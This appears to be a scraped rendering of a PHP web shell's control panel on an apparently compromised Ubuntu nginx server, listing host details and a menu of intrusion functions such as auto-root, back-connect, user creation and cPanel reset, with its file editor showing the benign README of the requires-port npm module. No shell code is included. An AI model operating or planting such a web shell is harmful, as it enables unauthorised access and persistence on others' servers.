Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amatya /
node_modules /
requires-port /
[ HOME SHELL ]
Name
Size
Permission
Action
.npmignore
22
B
-rw-r--r--
.travis.yml
341
B
-rw-r--r--
LICENSE
1.09
KB
-rw-r--r--
README.md
1.77
KB
-rw-r--r--
index.js
753
B
-rw-r--r--
package.json
1.9
KB
-rw-r--r--
test.js
3.31
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
# requires-port [](http://unshift.io)[](http://browsenpm.org/package/requires-port)[](https://travis-ci.org/unshiftio/requires-port)[](https://david-dm.org/unshiftio/requires-port)[](https://coveralls.io/r/unshiftio/requires-port?branch=master)[](http://webchat.freenode.net/?channels=unshift) The module name says it all, check if a protocol requires a given port. ## Installation This module is intended to be used with browserify or Node.js and is distributed in the public npm registry. To install it simply run the following command from your CLI: ```j npm install --save requires-port ``` ## Usage The module exports it self as function and requires 2 arguments: 1. The port number, can be a string or number. 2. Protocol, can be `http`, `http:` or even `https://yomoma.com`. We just split it at `:` and use the first result. We currently accept the following protocols: - `http` - `https` - `ws` - `wss` - `ftp` - `gopher` - `file` It returns a boolean that indicates if protocol requires this port to be added to your URL. ```js 'use strict'; var required = require('requires-port'); console.log(required('8080', 'http')) // true console.log(required('80', 'http')) // false ``` # License MIT
Close